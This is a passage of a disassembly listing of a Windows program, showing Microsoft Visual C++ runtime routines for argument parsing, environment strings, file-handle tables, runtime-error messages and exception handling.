		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2620BE5h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620E43h
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2620BE5h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		call	near ptr 2620E82h
		nop
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28A0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		nop
		call	near ptr 26208F0h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2620B2Dh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 268050Ah
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26208F0h
		push	eax
		nop
		call	near ptr 2720000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 26105BFh


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 26105BFh


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 2690C56h
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
